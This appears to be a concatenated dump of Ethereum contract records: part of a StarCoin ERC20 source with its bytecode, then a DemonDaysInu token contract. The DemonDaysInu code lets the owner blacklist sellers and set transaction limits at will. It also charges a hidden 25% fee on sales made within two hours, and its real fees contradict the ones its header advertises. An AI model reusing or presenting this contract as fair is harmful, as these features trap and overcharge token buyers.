allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } /** * @title StarCoin * * @dev Burnable Ownable ERC20 token */ contract StarCoin is MintableToken { string public constant name = "StarCoin"; string public constant symbol = "STAR"; uint8 public constant decimals = 18; uint public constant INITIAL_SUPPLY = 400000000 * 1 ether; //40M tokens accroding to https://starflow.com/ico/ uint public constant MAXIMUM_SUPPLY = 1000000000 * 1 ether; // 100M tokens is maximum according to https://starflow.com/ico/ /* The finalizer contract that allows unlift the transfer limits on this token */ address public releaseAgent; /** A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period.*/ bool public released = false; /** Map of agents that are allowed to transfer tokens regardless of the lock down period. These are crowdsale contracts and possible the team multisig itself. */ mapping (address => bool) public transferAgents; /** * Limit token transfer until the crowdsale is over. * */ modifier canTransfer(address _sender) { require(released || transferAgents[_sender]); _; } /** The function can be called only before or after the tokens have been released */ modifier inReleaseState(bool releaseState) { require(releaseState == released); _; } /** The function can be called only by a whitelisted release agent. */ modifier onlyReleaseAgent() { require(msg.sender == releaseAgent); _; } /** Restrict minting by the MAXIMUM_SUPPLY allowed **/ modifier bellowMaximumSupply(uint _amount) { require(_amount + totalSupply_ < MAXIMUM_SUPPLY); _; } /** * @dev Constructor that gives msg.sender all of existing tokens. */ function StarCoin() { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } /** * Set the contract that can call release and make the token transferable. * * Design choice. Allow reset the release agent to fix fat finger mistakes. */ function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { require(addr != 0x0); // We don't do interface check here as we might want to a normal wallet address to act as a release agent releaseAgent = addr; } function release() onlyReleaseAgent inReleaseState(false) public { released = true; } /** * Owner can allow a particular address (a crowdsale contract) to transfer tokens despite the lock up period. */ function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { require(addr != 0x0); transferAgents[addr] = state; } function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) { // Call Burnable.transfer() return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) { // Call Burnable.transferForm() return super.transferFrom(_from, _to, _value); } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint _amount) onlyOwner canMint bellowMaximumSupply(_amount) public returns (bool) { return super.mint(_to, _amount); } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { return super.finishMinting(); } }
0x60606040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806302f652a31461014357806305d2035b1461018757806306fdde03146101b4578063095ea7b31461024257806318160ddd1461029c57806323b872dd146102c557806329ff4f531461033e5780632ff2e9dc14610377578063313ce567146103a05780633d0c4924146103cf57806340c10f19146103f8578063661884631461045257806370a08231146104ac5780637d64bcb4146104f9578063867c28571461052657806386d1a69f146105775780638da5cb5b1461058c57806395d89b41146105e1578063961325211461066f578063a9059cbb1461069c578063d1f276d3146106f6578063d73dd6231461074b578063dd62ed3e146107a5578063f2fde38b14610811575b600080fd5b341561014e57600080fd5b610185600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035151590602001909190505061084a565b005b341561019257600080fd5b61019a61094b565b604051808215151515815260200191505060405180910390f35b34156101bf57600080fd5b6101c761095e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102075780820151818401526020810190506101ec565b50505050905090810190601f1680156102345780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561024d57600080fd5b610282600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610997565b604051808215151515815260200191505060405180910390f35b34156102a757600080fd5b6102af610a89565b6040518082815260200191505060405180910390f35b34156102d057600080fd5b610324600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a93565b604051808215151515815260200191505060405180910390f35b341561034957600080fd5b610375600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b1a565b005b341561038257600080fd5b61038a610c04565b6040518082815260200191505060405180910390f35b34156103ab57600080fd5b6103b3610c14565b604051808260ff1660ff16815260200191505060405180910390f35b34156103da57600080fd5b6103e2610c19565b6040518082815260200191505060405180910390f35b341561040357600080fd5b610438600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c29565b604051808215151515815260200191505060405180910390f35b341561045d57600080fd5b610492600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610cd5565b604051808215151515815260200191505060405180910390f35b34156104b757600080fd5b6104e3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f66565b6040518082815260200191505060405180910390f35b341561050457600080fd5b61050c610fae565b604051808215151515815260200191505060405180910390f35b341561053157600080fd5b61055d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611035565b604051808215151515815260200191505060405180910390f35b341561058257600080fd5b61058a611055565b005b341561059757600080fd5b61059f6110f2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105ec57600080fd5b6105f4611118565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610634578082015181840152602081019050610619565b50505050905090810190601f1680156106615780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561067a57600080fd5b610682611151565b604051808215151515815260200191505060405180910390f35b34156106a757600080fd5b6106dc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611164565b604051808215151515815260200191505060405180910390f35b341561070157600080fd5b6107096111e9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561075657600080fd5b61078b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061120f565b604051808215151515815260200191505060405180910390f35b34156107b057600080fd5b6107fb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061140b565b6040518082815260200191505060405180910390f35b341561081c57600080fd5b610848600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611492565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108a657600080fd5b6000600460149054906101000a900460ff1615158115151415156108c957600080fd5b60008373ffffffffffffffffffffffffffffffffffffffff16141515156108ef57600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b600360149054906101000a900460ff1681565b6040805190810160405280600881526020017f53746172436f696e00000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b600083600460149054906101000a900460ff1680610afa5750600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515610b0557600080fd5b610b108585856115ea565b9150509392505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b7657600080fd5b6000600460149054906101000a900460ff161515811515141515610b9957600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff1614151515610bbf57600080fd5b81600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6b014adf4b7320334b9000000081565b601281565b6b033b2e3c9fd0803ce800000081565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c8757600080fd5b600360149054906101000a900460ff16151515610ca357600080fd5b816b033b2e3c9fd0803ce80000006001548201101515610cc257600080fd5b610ccc84846119a4565b91505092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610de6576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7a565b610df98382611b8a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561100c57600080fd5b600360149054906101000a900460ff1615151561102857600080fd5b611030611ba3565b905090565b60056020528060005260406000206000915054906101000a900460ff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110b157600080fd5b6000600460149054906101000a900460ff1615158115151415156110d457600080fd5b6001600460146101000a81548160ff02191690831515021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f535441520000000000000000000000000000000000000000000000000000000081525081565b600460149054906101000a900460ff1681565b600033600460149054906101000a900460ff16806111cb5750600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15156111d657600080fd5b6111e08484611c6b565b91505092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006112a082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114ee57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561152a57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561162757600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561167457600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156116ff57600080fd5b611750826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8a90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117e3826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118b482600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8a90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a0257600080fd5b600360149054906101000a900460ff16151515611a1e57600080fd5b611a3382600154611e8a90919063ffffffff16565b600181905550611a8a826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000828211151515611b9857fe5b818303905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c0157600080fd5b600360149054906101000a900460ff16151515611c1d57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611ca857600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611cf557600080fd5b611d46826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8a90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dd9826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808284019050838110151515611e9e57fe5b80915050929150505600a165627a7a723058200725e2c02bd0e9c01b2fb32580c3ed72bd2f67436e100771166aa1a1d52f9ec00029
{"success": true, "error": null, "results": {}}
7,383
0xcb276501afdef3fd62671b6434f384a171b37e8b
/** https://twitter.com/elonmusk/status/1476439722046238725 * Telegram: https://t.me/DemonDaysInu 📊3% ETH Reflection✅ 📊 3% Development & Marketing✅ 📊 3% Liquidity fees✅ 📊 1% to Holders✅ * SPDX-License-Identifier: Unlicensed * */ pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DemonDaysInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Demon Days Inu"; string private constant _symbol = "DDI"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x3BB2180721884CB5398aD71ffe4591CeCa24A7e1); _feeAddrWallet2 = payable(0x3BB2180721884CB5398aD71ffe4591CeCa24A7e1); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function originalPurchase(address account) public view returns (uint256) { return _buyMap[account]; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() { _maxTxAmount = maxTransactionAmount; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!_isBuy(from)) { // TAX SELLERS 25% WHO SELL WITHIN 2 HOURS if (_buyMap[from] != 0 && (_buyMap[from] + (2 hours) >= block.timestamp)) { _feeAddr1 = 1; _feeAddr2 = 25; } else { _feeAddr1 = 2; _feeAddr2 = 12; } } else { if (_buyMap[to] == 0) { _buyMap[to] = block.timestamp; } _feeAddr1 = 2; _feeAddr2 = 12; } if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 20000000000 * 10 ** 9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1e12 * 10**9; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function updateMaxTx (uint256 fee) public onlyOwner { _maxTxAmount = fee; } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
